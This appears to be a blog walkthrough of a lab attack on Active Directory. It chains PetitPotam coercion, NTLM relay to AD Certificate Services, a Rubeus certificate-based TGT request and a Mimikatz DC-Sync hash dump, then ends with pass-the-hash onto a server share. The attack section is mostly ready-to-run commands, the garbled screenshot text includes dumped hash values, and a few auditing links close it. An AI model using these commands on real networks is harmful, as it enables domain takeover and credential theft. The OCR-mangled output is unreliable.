Summary Of The Attack:
- Get the DC machine account to connect back to you while you have an NTLM relay set up
- Use the NTLM relay to connect to the certificate services server to obtain a certificate under the context of the machine account for the DC
- With a standard domain user use Rubeus to request a TGT using the certificate obtained of the machine account of the DC
- Dump the hashes using Mimikatz via a DC-Sync attack with the Kerberos ticket imported
Lab Context:
- 1 AD server am.local (192.168.1.102) – Windows Server 2012 R2 9600
- 1 AD-CS server (Domain Joined – 192.168.1.30) – Windows Server 2012 R2 9600
- Kali Machine (192.168.1.33)
- Client (192.168.1.104) – Windows 7 SP1 7601
Attacker Machine:
To install the forked version of impacket required for the attack perform the following:
cd /opt
git clone https://github.com/ExAndroidDev/impacket
cd impacket
git switch ntlmrelayx-adcs-attack
python3 -m pip install .
cd /opt
Once installed run the NTLM Relay script using the following command:
ntlmrelayx.py -t http://192.168.1.30/certsrv/certfnsh.asp -smb2support –adcs
Once installed grab a copy of the PetitPotam script from github and run it, setting the relay IP address (to your Kali instance), targeting the DC
git clone https://github.com/topotam/PetitPotam.git
PetitPotam 192.168.1.33 192.168.1.102

If the attack has worked you will see that a CSR has been generated and you’ve got a certificate.

Checking on the PKI server should show the machine account for the DC has certificates issued to it:
![certsrv -
Certification Authori
m-AD-CS-CA Issued Certificates
File Action View Help
Cemfication Authority (Local)
am-AD-CS-CA
Revoked Certificates
Issued Certificates
Pending Requests
Failed Requests
Certificate T emplates
Request ID
G] 690
. 722
.4723
724
725
.4726
Requester Name
AW,AD-CSS
AWA d ministrator
AM\user
AWSERVEROIS
AM\SERVEROIS
AWSERVEROIS
AM\SERVEROIS
m.nSERVER01S
AWSERVEROIS
AM\SERVEROIS
Binary Certificate
--8EGIN CERT'...
...BEGIN CERTI...
---BEGIN CERTI...
-----8EGIN CERTI...
-----BEGIN CERTI...
----BEGIN CERTI...
--8EGIN CERT'...
- ---BEGINCERTI...
- ---BEGINCERTI...
-----8EGIN CERTI...
Certificate Template
CA Exchange (CAExc...
User (User)
User (User)
Computer (Machine)
Computer (Machine)
Computer (Machine)
Computer (Machine)
Computer (Machine)
Computer (Machine)
Computer (Machine)
Serial Number
34000002b20b...
3400000002.26...
3400000003597...
3400DD02d1db...
34000002d2a5c...
34000D02d34b...
34000D02d4ac5...
34000002d5633...
34000D02d6cOc...
340DODD2d7905...
Certificate Effective Date
27/07/2021 23:11
27/07/2021 22:05
27/07/2021 2206
27/07/2021 23:33
27/07/2021 23:33
27/07/2021
27/07,'2021 23:33
27/07/2021 23:33
27/07/2021
27/07/2021 23:33
Certificate Extir
03/08/2021 23:21
27/07/2022 22:05
27/07/2022 22:06
27/07/2022 23:33
27/07/2022 23:33
27/07/2022 23:33
27/07/202223: 33
27/07/2022 23:33
27/07/2022 23:33
27/07/2022 23:33](https://blog.aminul.co.uk/wp-content/uploads/2021/08/image-3.png)
Requesting a TGT using Rubes
Install Visual Studio 2019 and compile the Rubes exectuable
(Version 1.6.4 was being used here)
https://github.com/GhostPack/Rubeus
Once compiled perform the following command in order to obtain a Kerberos ticket under the context of the machine account for the DC:
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt



Executing the command ‘klist’ shows we have a Kerberos ticket under the context of the machine account. From here we can perform a DC-Sync attack using MimiKatz to grab the NTLM hashes of all the domain accounts:
lsadump::dcsync /domain:am.local /all /csv
![imikatz tt Isadunp: :dcsync 'domain : an. local / all /csu
[DC] ' an. local' will be the domain
[DC] 'SERUEW1.an.10ca1' will be the DC server
IDC] Exporting domain am. local'
trpcJ Service
: Idap
AuthnSuc : GSS_NEGOTIATE (9)
168
øø
109
i mikatz
krbtgt 42fe?W2b3øa8cd781c6933dß748e6d36
9293?94SbS18814341de3F726søød4ff
CLIENT 03$
b6dc7bd99W18b9cSeeøa35fd1ßßfß1a
CLIENT øl
99?aace2dfbe28eß2d3cbaf44f68423b
CLIENT ø2
b82fe4ccfa339caadfea5aa59be4d463
Admin
92937945b5i8814341de3f726Søød4ff
92937945bS18fl14341de3f726Sßßd4ff
user
AD-CS$
SERUERØI$
514
66048
66048
4096
4096
4"96
66048
532480](https://blog.aminul.co.uk/wp-content/uploads/2021/08/image-9.png)
The whole attack in a GIF 😊

We can then use the NTLM hashes obtained from Mimikatz in a PTH attack (requires an elevated terminal)
mimikatz.exe
privilege::debug
sekurlsa::pth /user:am /domain:am.local /ntlm:5c0c009b522xxxxxxxxxxxxxxxxxxxx
net use x: \\SERVER01\c$
dir X:

Congratz, now you own the target network 😊
Auditing:
https://github.com/GhostPack/PSPKIAudit
https://github.com/GhostPack/Certify
https://github.com/GhostPack/ForgeCert
https://posts.specterops.io/certified-pre-owned-d95910965cd2
Resources:
https://twitter.com/wdormann/status/1418576755389083662/photo/4
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf